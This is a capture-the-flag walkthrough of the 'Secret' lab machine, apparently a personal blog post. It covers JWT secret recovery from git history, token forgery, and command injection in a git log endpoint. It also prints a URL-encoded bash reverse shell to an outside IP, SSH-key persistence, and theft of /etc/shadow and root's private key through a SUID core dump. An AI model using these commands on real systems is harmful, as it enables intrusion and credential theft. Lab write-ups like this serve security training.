Secret – Walkthrough

  • Difficulty: Easy
  • Covered topics / techniques / tools
    • Command Injection
    • GitTools

URLs for this post

Enumeration

Website

The site shows us a documentation of an API.

1 You can see it after clicking the "DEMO" button on the top right.

2

So lets have a look at the docs and register a user. The example looks like this: 3

I used BURP to create these POST requests. I intercepted the click on the demo button and send it to the repeater tab (CRTL – R). Just use the example request and edit it.

dedb6c32943206f8c05896b3bf33c27e.png

Now we can follow the documentation and login on /api/user/login

3adcc165ed9da0647b9e0c7554ee2196.png

Great we have a auth-token now. By trying to send a GET request to /api/priv i had to swtich to the CLI because burp won´t show me any response.

cb6365069772aadbf3685bb1b41a4047.png

Source code

Ok, the token is working and there was no way to get any further. So i downloaded and unzipped the source code.

6dd9ad868a65644e01f0afda5686856e.png

i grepped through the source to check for some default credentials and found nothing special. But in the routes/private.js i found this

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})


router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }

To access /priv we need to land as the user "theadmin" and we need a verified token. But we don´t have the secret key yet to do that. After searching through the code i forgot to list for hidden files (now my alias of ll is now ls -lsaf 🙂 ) and there’s is something interesting.

my dirty little secret

e374e3d28832392696994c18d7c88cb8.png

The .env should have a secret token but it was removed. the .git is very nice and to pull out all the information out of it we can use ths script "extractor" from GitHub – GitTools. Cloned it and ran the extractor.sh

./extractor.sh /path/to/loot/local-web/ /path/to/loot/extracted/

Oh boy, it found a lot!

6411238ed015f4dbcb221f149ec8fcd9.png

After the script finished we had the following directories.

48e4f3b0bbedd31c642749b6af768ea4.png

So i was checking the containing commit notes and ended up with this one.

d24365b415e66b37d9a21eed1ca32628.png

So let’s get back to the folder before 2-xyz and get that .env file.

f02fe370e260c2838a38eddf497d4769.png

Creating JWT

Excellent! With this we can create our verified JWT Token. Let’s try it with our own token at JWT.io By pasting in our token it shows "invalid signature" but when we put in our gathered key we get is verified!

3471314d87586f5610564fa53a5f2c74.png

This is the time where we can forge tokens as we like. I grabbed all data from the documentation page and created a valid JWT token.

63ae9497b3607ced9104309ce3aa3b72.png

I send a GET to /api/priv using curl again.

curl http://10.10.11.120/api/priv -H 'auth-token: '

b65409741ede21fafc9127070b1d7627.png

dad4bc9f2f6f9c60c9afb9ba2416c5ab.png

Code execution

Move on to the /api/logs from the private.js above. Handing over a file name as an argument smells like command injection! So i tried to execute ‘id’ first time.

curl http://10.10.11.120/api/logs?file=private.js\;id -H 'auth-token: ' 

364b6a80051e856ae60742a33b7a732d.png

Getting Foothold

By confirming code exectution we start our listener and slap that URL encoded reverse shell in there!

Before:

bash -c 'exec bash -i &>/dev/tcp/10.10.14.4/9999 <&1'

After:

bash%20-c%20'exec%20bash%20-i%20&%3E/dev/tcp/10.10.14.4/9999%20%3C&1'

reverse shell

curl http://10.10.11.120/api/logs\?file=\;bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F10.10.14.4%2F9999%20%3C%261%27 -H 'auth-token: '

Hit enter and we’re on the box!

f1c1a7b9ed1148f33c75f2af07109327.png

First thing i did was getting persistance and getting rid of this unstable shell. I placed my public ssh key in the ~/.ssh/authorized_keys file and ssh’d into it.

ssh dasith@10.10.11.120 -i 

0d693257b322b71a8fbf5849de38f1fe.png

Grabbed that user flag and moved on with further enumeration

Local enumeration

Before i upload enum scripts like linpeas/winpeas i quickly try some commands like

sudo -l
find / -perm /4000 2>/dev/null

And i was succesfull 🙂 Found the binary ‘count’ with the suid bit set in the /opt/ directory.

The directory contained the binary and the source code written in C.

15f63066031480f63f9e591ef98ee68f.png

By executing the binary i verified that is runs with root permissions by reading the /etc/shadow file.

d70f9e7c17f4766620f3de44450c09c4.png

The code shows us one important feature of the binary.

    // Enable coredump generation
    prctl(PR_SET_DUMPABLE, 1);
    printf("Save results a file? [y/N]: ");

This means when the content is loaded into the memory we can kill that running process and a memory dump will be created. As a proof of concept we try it with the /etc/shadow file.

dasith@secret:/opt$ ./count -p
Enter source file/directory name: /etc/shadow

Total characters = 1187
Total words      = 36
Total lines      = 36
Save results a file? [y/N]: y #This is were we kill that process from another ssh shell via kill -BUS 
Path: Bus error (core dumped)
dasith@secret:/opt$ 

After that a crash report was created under /var/crash.

6e26f192bbbde6617a94c140f66b5779.png

You can extract the data with the following command:

mkdir /tmp/crash/
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash/

Now use strings to pull out the data you need.

strings /tmp/crash/CoreDump

5bb8be947ec29d2c6cc5047c55516657.png

You can repeat the procedure with the file /root/root.txt but i like to own the machine to its fullest 🙂


dasith@secret:/opt$ ./count -p
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: y #This is were we kill that process from another ssh shell via kill -BUS 
Path: Bus error (core dumped)
dasith@secret:/opt$  

5290ecb3e59970cccdbfd4438c85eaf2.png

nano id_rsa #slap that baby in there
chmod 600 id_rsa
ssh root@10.10.11.120 -i id_rsa  

ef390c6b361bf37c5ea3e8dedaf71be5.png

Thanks for reading and cya!

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s